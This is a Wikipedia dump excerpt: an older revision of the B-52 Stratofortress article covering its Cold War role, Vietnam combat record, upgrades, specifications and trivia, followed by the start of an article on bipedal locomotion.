In the late 1960's and 1970s, the B-52s' mission profile changed. As Soviet air defenses improved, high-altitude free-fall bomb penetration missions would have proved nearly suicidal. The bombers were modified to launch &quot;defense suppression&quot; missiles designed to create safe corridors in which the bombers could pass to attack their targets with free-fall bombs. [[Hound Dog (missile)|AGM-28 Hound Dog]] [[supersonic]] [[cruise missiles]] were originally designed for this purpose until effectively replaced by the [[hypersonic]] [[Short-Range Attack Missile]]. Both missiles carried nuclear warheads.

With the advent of the [[AGM-86]] [[cruise missile]], B-52s could perform a &quot;stand-off&quot; role of launching cruise missiles at their targets while the bombers could safely avoid Soviet defenses. These pilotless AGM-86s would have flown to their own targets at treetop level, reaching near-[[Mach number|Mach]] speed. The [[Soviet Union]]'s attempt to defend against cruise missiles was extremely expensive and helped bring about that government's demise. 

In [[1991]] [[President]] [[George H.W. Bush]] ended an era when he took the B-52s off of &quot;alert&quot; duty.

==Combat Record==
Source: Michel L. Marshall III, &quot;The Eleven Days of Christmas: America's Last Vietnam Battle&quot;, Encounter Books, San Francisco, 2002.]

B-52s were used extensively in the [[Vietnam War]]. The North [[Vietnam]]ese Army (NVA) was terrified of B-52 attacks. Survivors described the experience as akin to an [[earthquake]]. The B-52s' devastating firepower made it the most feared weapon used against the [[Ho Chi Minh Trail]]. B-52s dropped bombs on suspected enemy arms caches and hideouts on the Trail, often inflicting huge losses on the [[Communist]] forces.

The zenith of B-52 attacks in Vietnam was Operation Linebacker II, which consisted of waves of B-52s (mostly D models, but some G's with less jamming equipment and a smaller bomb load) bombing [[Hanoi]]. This was called &quot;The Eleven-Day War.&quot; The objective was to force North Vietnam back to the Paris Peace Talks, which up to that point they had refused to do. In Linebacker II, seventeen B-52s were shot down. 

Many fewer would have been shot down if not for poor planning and inflexibility by the mission planners of the USAF's [[Strategic Air Command]] (SAC). Specifically, SAC ordered B-52s to attack from highly predictable, precisely-timed, repetitive positions and altitudes. This eliminated the element of surprise. The NVA were able to aim their Soviet-built [[SA-2 Guideline]] Surface-to-Air [[Missiles]] (SAMs) by simple timing and [[azimuth]] prediction. Further complicating the situation for the B-52s was the fact that SAC had used the same jamming (electronic countermeasures) techniques for years, thus enabling the NVA to develop counter-countermeasures.

SAC ordered the B-52s to make a steep turn after dropping the bombs. This resulted in an interruption in the electronic jamming of NVA radars because the B-52s' jamming antennas, which were located on the bottom of the aircraft, were then pointed away from the radars. To make matters worse, the turn made the B-52s face into a 100-[[mph]] [[headwind]], which slowed their escape.

The NVA were surprised at first, but after a few nights of these repetitive tactics, they figured it out. The NVA blasted several B-52s with direct hits. Two were damaged severely and crashed near U-Tapao Royal [[Thai]] Air Base. The situation would have been even worse for the B-52s if not for the inaccuracy of the SA-2 system and the inexperience and errors of its NVA operators.

SAC refused to change its tactics even when shown that the existing tactics were ineffective and highly dangerous to the aircraft and crews. In part, this was due to indecision on the part of SAC's commander. Also, because of a &quot;top-down&quot; culture which had been originally established for nuclear war by [[General]] [[Curtis LeMay]], SAC refused to listen to the suggestions of its aircrews. The LeMay culture had discouraged open and frank discussion to the point that only &quot;yes men&quot; made it to the top of the SAC organization where, potentially, they might have been able to prod the SAC commander into a change of tactics.

(Surprisingly, NVA records and interviews with former SAM operators show exactly the opposite culture. Realistic discussion and innovation were encouraged among the batteries' commanders.)

Ironically, although the NVA had run out of missiles by Day Four of the campaign, and the B-52s could have bombed an undefended Hanoi, SAC was so rattled by its losses that it directed the B-52s to targets outside Hanoi, thus giving the NVA time to reload. After that, B-52 losses mounted again.

SAC commanders did their best to suppress revelations about their incompetence, even going so far as to suggest that their one of their critics was mentally unstable. SAC has rewritten history in its official account of Linebacker II. This semi-fiction is still taught at the USAF's Air University at [[Maxwell Air Force Base]], [[Alabama]].

==After Vietnam==
In October 1973, the [[Arab]]s, using [[Soviet]] equipment, attacked [[Israel]], but Israel gained the upper hand. As a result, the Soviet Union threatened to invade Israel. To stop the Soviets, [[President]] [[Richard M. Nixon]] threatened nuclear war. [[Secretary of Defense]] [[Melvin Laird]] ordered the B-52s to an immediate war footing. Fully armed and fueled B-52s waited for the &quot;Go&quot; signal, sitting at the hold lines of their runways. Humiliated, the Soviet Union once again (see [[Cuban Missile Crisis]] above) backed down. 

In the late 1970s, the B-52D's were retired.  The remaining G and H models were used for nuclear standby (&quot;alert&quot;) duty (see above) as part of the United States' nuclear deterrence &quot;triad.&quot; This triad was the combination of nuclear-armed land-based missiles, submarine-based missiles, and manned bombers.

After the fall of the Soviet Union, the B-52Gs were destroyed as per the terms of the Strategic Arms Reduction Treaty (START).  Today, only the H models remain in service. 

The B-52 contributed to the U.S. success in [[Operation Enduring Freedom]] in [[Afghanistan]], providing the ability to loiter high over the battlefield and provide Close Air Support (CAS) through the use of precision guided munitions. The long range and endurance of the B-52 provided a U.S. presence unmatched by any other combat aircraft. B-52's also played a key role in the second Gulf War in 2002-2003 ([[2003 invasion of Iraq|Operation Iraqi Freedom]]), where they provided close air support and bombing.

The Air Force intends to keep the B-52 in service until around [[2050]], an unprecedented length of service for a combat aircraft model (the venerable [[DC-3]], now 70 years old, is still in regular revenue service in civilian hands).  This is especially amazing considering that the last plane was built in 1962; the Air Force fully expects to be flying 90-year-old airframes.  Periodically, B-52s are rebuilt at the USAF's maintenance depots such as [[Tinker Air Force Base]], [[Oklahoma]].  Therefore, despite their chronological age, their actual service age is quite young.

[[Boeing]] has suggested re-engining of the B-52H fleet with the [[Rolls-Royce RB211|Rolls-Royce RB211 534E-4]]. This would involve replacing the eight [[Pratt &amp; Whitney TF33]]s (total thrust 17,000 lb or 605 kN) with four RB211s (total thrust 37,400 lb.). The RR engines will increase the range/payload of the fleet and reduce fuel consumption. However the cost of the project would be significant. Procurement would cost approximately $2.56 billion ($36 million × 71 aircraft). A [[General Accounting Office]] study of the proposal concluded that Boeing's estimated savings of $4.7 billion would not be realized. They found that it would cost the Air Force $1.3 billion over keeping the existing engines. [http://www.globalsecurity.org/wmd/systems/b-52-upgrade.htm]

Another recently approved upgrade for the B-52 is the B-52 SOJ (Stand Off Jammer) program which will allow it to assume an airborne communications/jamming role. Approximately a quarter of the fleet will be converted to take on this mission, with the Air Force seeking funding to convert the entire fleet. The B-52 SOJ will retain all of its bomber functions and capabilities, however now after having expended its weapons load it will continue to loiter over the combat area providing electronic warfare cover for follow on strikes. The additional equipment will be carried in 30 ft external pods under the wings. [http://www.isrjournal.com/story.php?F=1166029]

The USAF continues to employ the B-52 because it remains an effective and and the most economical heavy bomber in US service, particularly for the type of conflicts conducted since the end of the Cold War against nations with limited anti-air capabilities.   The stealth and speed of the [[B-1 Lancer]] and [[B-2 Spirit]] have only been useful until enemy air defences were destroyed, a task that has been swiftly achieved in recent conflicts.  The B-52 boasts the highest mission capable rate of the three types of heavy bombers operated by the USAF. Whereas the B-1 averages a 57% ready rate [http://www.fas.org/nuke/guide/usa/bomber/b-1b.htm] and the B-2 achievs 26% [http://www.fas.org/pub/gen/mswg/stealth/], the B-52 averages an 80% combat ready rate.

==Features==
In a conventional conflict, the B-52 can perform strategic attack, air interdiction, offensive counter-air and maritime operations. During [[Operation Desert Storm]], B-52s delivered 40 percent of all the weapons dropped by coalition forces. 

All B-52s are equipped with an electro-optical viewing system that uses [[platinum silicide]] forward-looking [[infrared]] and high resolution low-light-level television sensors to augment targeting, battle assessment, and flight safety, thus further improving its combat ability and low-level flight capability. 

Pilots wear [[night vision goggles]] (NVGs) to enhance their vision during night operations. Night vision goggles provide greater safety during night operations by increasing the pilot's ability to visually clear terrain, avoid enemy radar and see other aircraft in a covert/lights-out environment. 

Starting in [[1989]], on-going modifications incorporates the [[Global Positioning System]], heavy stores adapter beams for carrying 2,000 pound (900 kg) munitions, and a full array of advanced weapons currently under development.

The use of [[aerial refueling]] gives the B-52 a range limited only by crew endurance, or in the extreme, required maintenance. It has an unrefueled combat range in excess of 8,800 statute miles (14,000 km). 555 [[KC-135]] and 59 [[KC-10]] air-refueling tankers currently exist. The B-52 is refueled by means of a small fuel tank cover above the cockpit. 

It is highly effective when used for ocean surveillance, and can assist the [[United States Navy|U.S. Navy]] in anti-ship and mine-laying operations. Two B-52s, in two hours, can monitor 140,000 square miles (364,000 km²) of ocean surface. If on land, this area is [[:Image:B-52 coverage.png|about as large as a circle]] centered at [[New York, New York|New York City]] and covered as far as [[Washington, DC]], [[Syracuse, New York|Syracuse]] and [[Boston, Massachusetts|Boston]] ([[radius]] = 212 statute miles or 340 km). However, the actual shape of coverage would vary.

The aircraft's flexibility was evident in [[Operation Desert Storm]] and again during [[Operation Allied Force]]. B-52s struck wide-area troop concentrations, fixed installations and bunkers, and ruined the morale of [[Iraq]]'s [[Iraqi Republican Guard|Republican Guard]]. The Persian Gulf War involved the longest strike mission in the history of aerial warfare when B-52s took off from [[Barksdale Air Force Base]], [[Louisiana]], launched conventional air launched cruise missiles and returned to Barksdale&amp;mdash;a 35 hour, non-stop combat mission. During Operation Allied Force, B-52s opened the conflict with conventional cruise missile attacks and then transitioned to delivering general purpose bombs and cluster bomb units on [[Serbia]]n army positions and [[staging area]]s.

==General characteristics==
[[image:aspect.ratio.b52.arp.jpg|right|thumb|250px|A B-52H over the ocean]]
* Contractor: Boeing Military Airplane Co.
* Speed: 650 mph, 1000 km/h (Mach 0.86)
* Range: Unrefueled 8,800 statute miles (14,200 km), Refueled unlimited (subject to crew limitations)
* Armament: Approximately 70,000 lb (31,500 kg) mixed ordnance&amp;mdash;[[bomb]]s, [[land mine]]s and [[missile]]s. (Modified to carry [[ALCM|air-launched cruise missiles]], [[AGM-84 Harpoon]] anti-ship and [[AGM-142 Have Nap]] missiles.)
**The nuclear weapons capacity has previously included [[B28 nuclear bomb|B28]], [[B43 nuclear bomb|B43]], [[B53 nuclear bomb|B53]], [[B61 nuclear bomb|B61]], and [[B83 nuclear bomb|B83]] free-fall nuclear bombs, or various combinations of twelve [[AGM-129 ACM|AGM-129 Advanced Cruise Missiles (ACMS)]], 20 [[AGM-86|AGM-86A]] Air Launched Cruise Missiles (ALCM) and eight [[bomb]]s.
**The B-52A through F carried a tail-mounted armament of four .50 cal (12.7 mm) machine guns with the gunner sitting in the tail, The B-52G retained the quad .50 cals but the gunner moved up front with the rest of the crew and controlled the guns via remote. The B-52H replaced the quad .50's with a single 20 mm M61A1 Vulcan which offered much greater defensive fire power.  In the mid-1990s, the tail gun was removed from all of the B-52H aircraft to reduce weight and because a gun is ineffective against guided-missile firing fighter aircaft.
**The G and H models are distinguishable from previous models due to their shorter (by 8 feet) vertical tailplane.  This configuration had previously been tested on a B-52A.  
**The H model is distinguishable from all previous variants by having visually different engine pods.  The B-52H uses [[TF33-3]] turbofan engines, which provided 20% greater range, 70% more thrust and are considerably quieter than the [[J57]] engine which had been used on all previous variants
**The B-52 is the only known bomber to have shot down jet-powered fighter aircraft; one unit of the type shot down two [[MiG-17]] fighter planes during the [[Vietnam War]].
* Accommodations: Five (Pilot, Co-Pilot, Navigator, Radar Navigator (AKA Bombardier) &amp; Electronic Warfare Officer) with all sitting in [[ejection seat]]s
* Unit Cost: $74 million
* Date Deployed: February 1955
·	Inventory: Active force, 85; ANG, 0; Reserve, 9

==Production==
*'''XB-52''' - The first B-52 prototype. 1 built
*'''YB-52''' - The second protoype. 1 built
*'''B-52A''' - The first production model. 3 built
*'''B-52B''' - 50 
*'''RB-52B''' - 27 B-52Bs converted into reconnaissance aircraft. 2X 20mm Cannon Replaced 4X .50 cal in tail
*'''B-52C''' - 35  
*'''B-52D''' - 170 
*'''B-52E''' - 100 
*'''B-52F''' - 89 
*'''B-52G''' - 193 
*'''B-52H''' - 102 

**'''Total produced''' - 744

==Specifications (B-52H)==
[[Image:B-52 3-view.jpg|300px|right]]
{{airtemp|

&lt;!-- please answer the following questions --&gt;
|include 'capacity' field?=no
|plane or copter?=plane
|jet or prop?=jet
|include 'armament' field?=yes
|switch order of units?=no

&lt;!-- Now, fill out the specs.  Please include units where appropriate (main comes first, alt in parentheses). 
If an item doesn't apply, like capacity, leave it blank. For additional lines, end your
alt units with a right paranthesis &quot;)&quot; and start a new, fully-formatted line --&gt;
|crew=5 (Pilot, Copilot, Radar Navigator (Bombardier), Navigator and Electronic Warfare Officer).  Originally the B-52 had a crew of 6, with a Gunner sitting in the tail in all models up to the G.  In the B-52 G/H, the Gunner position was moved to the front cockpit, with the gun remotely controlled.  
|capacity=
|length main=159 ft 4 in
|length alt=48.5 m
|span main=185 ft 0 in
|span alt=56.4 m
|height main=40 ft 8 in
|height alt=12.4 m
|area main=4,000 ft²
|area alt=370 m²
|empty weight main=185,000 lb
|empty weight alt=83,250 kg
|loaded weight main=265,000 lb
|loaded weight alt=120,000 kg
|max takeoff weight main=488,000 lb
|max takeoff weight alt=220,000 kg

|engine (jet)=[[Pratt &amp; Whitney TF33]]-P-3/103
|type of jet= [[turbofan]]s
|number of jets=8
|thrust main=17,000 lbf
|thrust alt=76 kN
|engine (prop)=
|type of prop=
|number of props=
|power main= hp
|power alt= kW
   
|max speed main=650 mph
|max speed alt=1,000 km/h
|cruise speed main=
|cruise speed alt=
|range main=&lt;!-- comment to force linebreak --&gt;&lt;br&gt;
** Combat radius: 7,600 nm
|range alt=8,800 mi, 7,652 km)
** Ferry range: 9,600 nm (11,000 mi, 17,700 km)
|ceiling main=50,000 ft
|ceiling alt=15,000 m
|climb rate main= ft/min
|climb rate alt= m/s
|loading main=30 lb/ft&amp;sup2;
|loading alt=150 kg/m&amp;sup2;
|thrust/weight=0.51
|power/mass main= hp/lb
|power/mass alt= kW/kg

|armament=
* '''Guns:'''  All models up to the H had a pod of four .50-caliber guns which could be loaded with armor-piercing/indendiary ammunition.  The H model had one 6-barrel 20-mm Vulcan [[autocannon|gatling cannon]].  Now, the tail guns have been removed on all operating B-52s. 
* '''Bombs:''' 70,000 lb (32,000 kg)

[[Image: Tail gun of B-52.jpg|thumb|250px|right|Tail gun in Anachrome-compatible 3D.]]

}}

==USAF Stations==
The '''B-52''' is stationed at two USAF bases

* [[Barksdale AFB]] in [[Louisiana]]
* [[Minot AFB]] in [[North Dakota]]

==Trivia==
* Among its crew, the B-52 is affectionately known as the &quot;BUFF&quot;, an acronym for &quot;Big Ugly Fat Fucker&quot; (or &quot;Big Ugly Fat Fellow&quot; in more polite company).

* The BUFF carries a total fuel load of about 300,000 pounds (roughly 50,000 US gallons).

* BUFF flies unlike other aircraft.  It takes off nose-low or level.  This looks strange to most pilots, who are used to seeing aircraft take off nose-high.  BUFF handles unlike other aircraft because it turns by means of [[spoiler (aeronautics)|spolier]]s instead of [[aileron]]s.  Despite the fact that an aircraft of this massive size, power and weight necessitates [[hydraulic]]ally-boosted control surfaces, it requires a surprisingly high level of physical force on the part of the pilots.

* Each B-52 has a name.  Usually the maintenance crew chief has the privilege of naming her (aircraft and ships are regarded as female).  Some of the more interesting names are &quot;The Need for Speed&quot;, &quot;Heavy Metal II&quot;, &quot;Conceived for Liberty&quot;, &quot;Death from Above&quot;, and &quot;Night Stalker&quot;. One is even named &quot;Memphis Belle IV,&quot; in honor of the original [[Memphis Belle]], a [[Boeing B-17]] Flying Fortress.

* BUFF has small wingtip [[landing gear]] which do not touch the ground except when the aircraft is fully loaded with fuel and weapons.

* The B-52's skin looks wrinkled when the aircraft is on the ground.  However, in flight, the wrinkles disappear and she becomes smooth.

* BUFF's means of [[de-icing]] its wings in flight is simple and effective.  The wings are built to flex, thereby breaking off ice. Without a full fuel and weapons load, the wings can flex up to 15 feet.  This is normal.

* The B-52 was built for war, not for comfort.  The crew compartment (cockpit) is quite cramped, especially when Instructors (in addition to the primary crew) are flying.  There is a bunk on H models, but not on previous ones. B-52 crews joke that Boeing put the cockpit in as an afterthought.

* The aircraft has so much longitudinal stability that it has demonstrated controlled flight while missing much of its vertical stabilizer. 

* The B-52 was built for men (not women) to fly; therefore, the only toilet facilities on board are a urinal on the lower deck (just ahead of the bomb bay) and a potty (lined with a plastic garbage bag) on the upper deck. There is no curtain or door on these.  

* BUFF has a very small oven which can warm food for the crew.  The only drinking water is carried in coolers.  There is no sink or shower.  

* The B-52's landing gear has to be turned at an angle (&quot;crabbed&quot; in aeronautical terms) when landing in a crosswind.  The gear is made to point down the runway while the nose of the plane points into the wind.  Pilots call this &quot;crosswind crab.&quot;  This is made possible by a complex, but highly reliable, hydraulic system.  The ability to crab enables the BUFF to land in conditions which would force other aircraft to go somewhere else.

* A hairstyle known as the &quot;[[B-52 (hairstyle)|B-52]]&quot;, because of its resemblance to the nose cone of this aircraft, was popular in the 1950s, [[1960s|60s]] and [[1970s|70s]]. The musical band [[The B-52's]] were named after the B-52 hairstyle members of the band wear.

* BUFF's radar is so powerful that it can kill small animals when the aircraft is on the ground. (It is hazardous to human beings, too.)

* There is a [[cocktail]] named for the B-52, the [[B-52 shooter]].

* The B-52 bomber gained notoriety after [[Stanley Kubrick]]'s ''[[Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb]]'' [[Cold War]] black comedy movie. The cockpit of the plane is one of only four movie settings.  The Air Force refused to allow Stanley Kubrick permission to photograph the cockpit interior; he developed his B-52 cockpit by extrapolating from photos of a B-52 interior published in a British flying magazine.  His guess was so accurate that his production company was later investigated by the Department of Defense.

* At the time of ''Dr. Strangelove'' and for some time in the 1960s the Strategic Air Command (SAC) did fly airborne alert (Chrome Dome) with weapons on board awaiting the &quot;Go Code&quot;.  B-52s were positioned in the air 24/7 to immediately respond to the [[National Command Authority]]. For example, missions from Homestead AFB, Miami, FL flew to orbit-on-station over the Adriatic Sea, refueled over Spain both going and coming (there was one notorious collision/crash on this route in [[1967]]), and landed in Miami 26 hours later.  During 22 hours of this time the B-52H could turn and immediately strike all six targets in southern Russia (without additional [[air refueling]]).

* The NASA B-52B Mothership, NASA tail number 008, was retired from active service with NASA on [[17 December]], [[2004]], after almost 50 years flying service.  This was the B-52 famous for dropping such aerospace research vehicles as the [[X-15]], [[X-24]], [[HiMAT]], Lifting Body vehicles, [[X-43]], and others.  It was the oldest active B-52 at the time, having first flown on [[June 11]], [[1955]], and entering service with NASA in 1959. It was the last B-52B in service (for that matter, the last B-52 in service of any type other than the H model).

* The B-52's longevity is marked by the fact that in at least one family of airmen, the grandfather, father, and son have all served as B-52 crew.

* The [[ejection seat]]s for the lower-deck crewmembers, the [[Navigator]] and [[Radar]] Navigator (more commonly called [[Bombardier]]), eject downwards from the bottom of the plane.  Because of this, these crewmembers cannot eject below 900 feet above the ground.  The upper-deck crewmembers (Pilot, Copilot, and Electronic Warfare Officer) have seats which can eject them upwards.  Therefore, their seats work at any any [[altitude]], as long as the [[airspeed]] is at least 90 [[knot (speed)|knots]], which is necessary to jettison the hatches above the ejection seats. 

* In the early 1980s Boeing submitted an unsolicited proposal for a &quot;Super B-52&quot;. It would have offered upgraded engines, improved electronics and avionics and vastly improved ergonomics for the crew. The plan was considered but dropped in favor of the B-1B that was then being considered to replace the then-20+ year old B-52G/H fleet.

* On the night of [[December 27]], [[1972]], [[North Vietnam]]ese pilot and future [[cosmonaut]] [[Pham Tuan]] became the first person ever to shoot down a US B-52 bomber, during the [[Vietnam War]]. The bomber had been circling the [[Hanoi]] sky during the US campaign called [[Operation Rolling Thunder]].

* As part of the 1991 [[Strategic Arms Reduction Treaty]] between the United States and Russia, 365 B-52Gs were flown to the [[Aerospace Maintenance and Regeneration Center]] at [[Davis-Monthan Air Force Base]] in Arizona. The bombers were stripped of all usable parts, then unceremoniously chopped into five pieces by a 13,000-pound steel blade dropped from a crane. The modern-day [[guillotine]] crashed down four times on each plane, severing the mammoth wings and leaving the fuselage in three pieces.  The ruined B-52s remained in place for three months in order for orbiting Russian satellites to confirm the bombers had been destroyed, after which they were sold for scrap at 12 cents a pound.

{| cellpadding=&quot;1&quot; cellspacing=&quot;0&quot; style=&quot;margin:4px auto; clear:both;  font-family:Arial,Helvetica; font-size:72%&quot;; align=&quot;center&quot;; bgcolor=&quot;#efefef&quot;
|- align=&quot;center&quot;
| bgcolor=&quot;ffffff&quot; |  ||bgcolor=&quot;#CFCFCF&quot;|  '''Modern USAF Series'''|| ''Miscellaneous ''
|- 
|bgcolor=&quot;#ffffff&quot;| || ''Attack''--[[OA-10 Thunderbolt II|OA]]/[[A-10 Thunderbolt II|A-10]],[[AC-130 gunship|AC-130H/U]]||[[RC-135 Rivet Joint|RC-135V/W]]
|-
|bgcolor=&quot;#DCDCDC&quot; |[[B-1B Lancer]]  ||bgcolor=&quot;#DCDCDC&quot;|  ''Bomber--''[[B-52 Stratofortress|B-52]],[[B-2 Spirit|-2]],[[B-1B Lancer|-1B]],[[F-117A Nighthawk|F-117A]]||[[OC-135 Open Skies|OC-135B]]
|-
|bgcolor=&quot;#DCDCDC&quot; | [[B-2 Spirit]]|| ''Fighter--''[[F-15 Eagle|F-15]]/[[F-15E Strike Eagle|E ]],[[F-16 Fighting Falcon|F-16]], [[F-22 Raptor]]||[[KC-10 Extender|KC-10]],[[KC-135 Stratotanker|-135]]
|-
|bgcolor=&quot;DCDCDC&quot;|B-52 Stratofortress || ''Electronic--''[[E-3 Sentry|E-3]],[[E-4B|-4B]],[[E-8 Joint STARS|-8C]] [[EC-130E]]/[[EC-130J|J]],[[EC-130H Compass Call|H]]||[[HC-130P]]/[[HC-130N|N]]
|-
|bgcolor=&quot;DCDCDC&quot;|[[F-117A Nighthawk]] || ''Transport--''[[C-5 Galaxy|C-5]],[[C-17 Globemaster III|-17]],[[C-141B Starlifter|-141B]], [[C-20 Gulfstream III|-20]],[[C-21 Learjet|-21]]||[[MC-130E]]/[[MC-130H|H]]/[[MC-130P Combat Shadow|P]]
|-
|bgcolor=&quot;ffffff&quot;| || [[Boeing C-22|C-22B]], [[Boeing C-32|-32]], [[C-130 Hercules|-130]], [[C-37 Gulfstream V|-37A]], [[C-40 Clipper|-40B/C]]||[[MH-53J Pave Low|MH-53J]]/[[MH-53M Pave Low|M]] 
|-
|bgcolor=&quot;ffffff&quot;| || ''Trainers--''[[T-1 Jayhawk|T-1]], [[T-37 Tweet|-37]], [[T-38 Talon|-38]], [[Boeing T-43|-43]], [[T-6 Texan II|-6]]||[[HH-60G Pave Hawk|HH-60G]]
|-
|bgcolor=&quot;ffffff&quot;| || ''Weather--''[[WC-130 Hercules|WC-130]], [[WC-135|-135]]||[[UH-1 Iroquois|UH-1N]]
|-
|bgcolor=&quot;ffffff&quot;| || ''UAV--''[[RQ-1 Predator|RQ-1/MQ-1 UAV]], [[Global Hawk]]||[[Lockheed U-2|U-2S/TU-2S]]
|-
|bgcolor=&quot;ffffff&quot;| ||  ||[[VC-25 - Air Force One|VC-25]]
|-
|}

{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin:5px auto; clear:both; border:3px solid;width:60%; font-size:small;&quot; align=&quot;center&quot;
!bgcolor=&quot;#e0e0e0&quot; colspan=&quot;2&quot; align=&quot;center&quot; style=&quot;border-bottom:3px solid&quot;|
[[List of current USAF aircraft|Current USAF aircraft]] - Bombers
|-
|align=&quot;center&quot;|
[[B-1B Lancer]] -
[[B-2 Spirit]] -
B-52 Stratofortress -
[[F-117A Nighthawk]]
|-
|}

==References==
* Michel L. Marshall III, &quot;The Eleven Days of Christmas: America's Last Vietnam Battle&quot;, Encounter Books, San Francisco, 2002. 

==External links==
{{Commons|B-52 Stratofortress}}
*http://www.fas.org/nuke/guide/usa/bomber/b-52_hist.htm -- detailed historical overview
*http://www.globalsecurity.org/wmd/systems/b-52.htm Weapons of Mass Destruction (WMD) B-52 Stratofortress
*http://www.af.mil/factsheets/factsheet.asp?fsID=83 -- B-52 Stratofortress Fact Sheet
*[http://fmc.dotnet-services.nl/operation_iraqi_freedom.htm USAF B-52 mission flights from Fairford to Iraq (2003) monitored by the Frequency Monitor Centre]
*[http://www.nasa.gov/centers/dryden/news/FactSheets/FS-005-DFRC.html NASA Dryden B-52 fact sheet]

==Related content==
{{aircontent|
&lt;!-- answer yes or no --&gt;
|links=no
|has sequence=yes
|has relations=yes
|has lists=yes
|see also?=no

|sequence=
* Military: [[Northrop YB-49|YB-49]] - [[B-50 Superfortress|B-50]] - [[Martin XB-51|XB-51]] - '''B-52''' - [[Convair XB-53|XB-53]] - [[Boeing B-54|B-54]] - [[Boeing XB-55|XB-55]]
* Boeing: [[B-29 Superfortress|345]] - [[C-97 Stratofreighter|367]] - [[Boeing 377|377]] - '''464''' - [[Boeing XB-59|701]] - [[Boeing 707|707]] - [[Boeing 717|717]]

&lt;!-- From which older designs was this plane developed, and what planes did it lead to? --&gt;
|related=
* [[B-47 Stratojet]]

|similar aircraft=
&lt;!-- aircraft with similar role, era, and capability --&gt;
* [[Tupolev Tu-95]]

|lists=
&lt;!-- lists of similar aircraft (aircraft from the same nation, with the same mission profile, etc.) --&gt;
* [[List of bomber aircraft]]
* [[List of military aircraft of the United States]]

|see also=
&lt;!-- related Wikipedia sites --&gt;
* [[Convair YB-60]]

}}

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[[Category:Vietnam War aircraft]]

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  <page>
    <title>Biped</title>
    <id>4210</id>
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      <contributor>
        <username>Amcbride</username>
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      <comment>revert addition of commercial link</comment>
      <text xml:space="preserve">A '''biped''' (BY-ped) meaning &quot;two feet&quot; ([[Latin]] ''bi'' = two + ''ped'' = foot) is an animal that travels across surfaces supported by two [[Leg (anatomy)|legs]].

==Bipedalism in general==
Bipedal locomotion is [[walking]], [[running]], and [[standing]] on two legs. Energy-efficient means of standing bipedally involve constant adjustment of balance, and of course these must avoid [[feedback|overcorrection]].

Efficient walking complicates these issues, as it entails tipping slightly off-balance forward and to the side, and correcting balance with the right timing.

Running is an inherently continuous process, in contrast to walking; a bipedal creature or device, when efficiently running, is in a constant state of falling forward, that is maintained as relatively smooth motion only by repeatedly &quot;catching oneself&quot; with, again, the right timing, but in the case of running only delaying the nearly inevitable fall for the duration of another step.

The phenomenon of &quot;tripping&quot; is also informative in this regard.  One popular way to think of it is as having one's leg pulled out from under them.  In fact, however, merely stopping the movement of one leg of a walker, and merely slowing one leg of a runner, is sufficient to amount to tripping them.  They were already &quot;falling&quot;, and preventing the tripped leg from aborting that fall is sufficient to cause bipeds to collapse to the ground.

Engineers who study bipedal walking describe it as a repeatedly interrupted fall.

==Animals and humans==

Many animals, including humans, have [[evolution|evolved]] bipedalism, with anatomical adaptations constituting the required mechanical systems and neurological adaptations the control-system ones.  

As to anatomy, contrast in [[domestication|domesticated]] [[poultry]] the meaty [[drumstick (poultry)|drumstick]] and thigh, against the small and bony wing. The technique of [[weight lifting|power-lifter]]s highlights the similar difference in dimensions, even in untrained humans, between the [[muscle]]s of the thigh and the upper arm.  This difference is extreme: the large muscle in the human upper arm is the [[biceps]], which bends the arm at the elbow; few people know the name of, or pay any attention to, the muscle that is used to straighten the arm (the [[triceps]]); the [[quadriceps]] and [[hamstring]] muscles of the thigh are both so crucial to bipedal activities, that each alone is much larger than even a well-developed biceps.

The famous knee jerk (or [[patellar reflex]]) emphasizes the necessary bipedal control system: the only function served by the nerves involved being connected as they are is to ensure quick response to imminent disturbance of erect posture; it not only occurs without conscious mental activity, but also involves none of the nerves which lead from the leg to the brain.

A less well-known aspect of bipedal [[neuroanatomy]] can be demonstrated in human infants who have not yet developed toward the ability to stand up.  They can nevertheless run with great dexterity, provided they are supported in a vertical position and offered the stimulus of a moving treadmill beneath their feet.

Human walking is composed of several separate processes:
* rocking back and forth between feet
* pushing with the toe to maintain speed
* combined intruption in rocking and ankle twist to turn
* shortening and extending the knees to prolong the &quot;forward fall&quot;

===Evolution of bipedalism===
Bipedalism and associated traits can offer a species several advantages:
*Some evolutionary biologists have suggested that a crucial stage in the evolution of some or all bipeds was the ability to stand, which generally improves the ability to see (and perhaps otherwise detect) distant dangers or resources.
*In vertebrate species, for whom evolution of additional limbs would be an enormous genetic change, it can serve to free the front limbs for such other functions as manipulation (in primates) and flight (in birds).
*In some species with predominantly prone locomotion and often inability to stand erect while stationary,  bipedal behavior appears only for rapid motion, &quot;rearing up&quot; on their hind legs.
*Humans are generally thought to have evolved bipedalism either through living on plains (the [[Savanna Theory]]), or wading like their semi-bipedal wading cousins the [[bonobo]] chimps, the lowland gorillas  and [[Proboscis Monkey|proboscis monkey]]s, the [[Aquatic ape theory|Aquatic Ape Theory]], which would provide the advantage of keeping the head above water for breathing in addition to the first point.

Many animals that do not use [[bipedal locomotion]] in nature can be trained to walk on hind legs. This includes dogs, elephants, horses and pretty much every [[mammal]] or [[reptile]] that has 4 legs. Some animals can also be trained to walk on front limbs, although this method lacks any practical benefits, save for [[gymnastic]] versatility for spectacle.

Humans too, can learn to walk using their arms for aid, or solely their arms ([[handstand]]). This is unusual and requires neurological and physical adaptation like many physical movements, otherwise they can result in injury due to lack of protection by astrophied or unbalanced muscles not developed for or genetically inclined for the movement.

Primates usually use both forms of locomotion - bipedal and walking on all fours, though there has been one recorded case of a macaque switching to bipedal walking completely after recovering from a serious illness, and at least one example of a captive chimp who only walked upright, [[Oliver the chimp|Oliver]].

===Bipedal biological taxa===
Biological examples of bipedality beyond [[human]]s and other [[primate]]s are mostly [[vertebrates]].  [[Bird]]s are bipeds, whether flying or [[ratite]], and the [[ostrich]] and kin demonstrate that not even ''large'' bipeds have to be [[mammal]]s.  Another mammalian group of bipeds are the [[kangaroo]]s. 

The pattern of bipedality only in the form of &quot;reared-up&quot; running can be seen in some of the [[cockroach]]es, and in at least one genus of [[lizard]] (the [[Basiliscus (genus)|basilisk lizards]]) that can run across the surface of water.

A biped also has the ability to breath whilst it runs. Humans usually take a breath every other stride when their aerobic system   is functioning. During a sprint, at which point the anaerobic system kicks in, breathing slows until the anaerobic system can no longer sustain a sprint. 

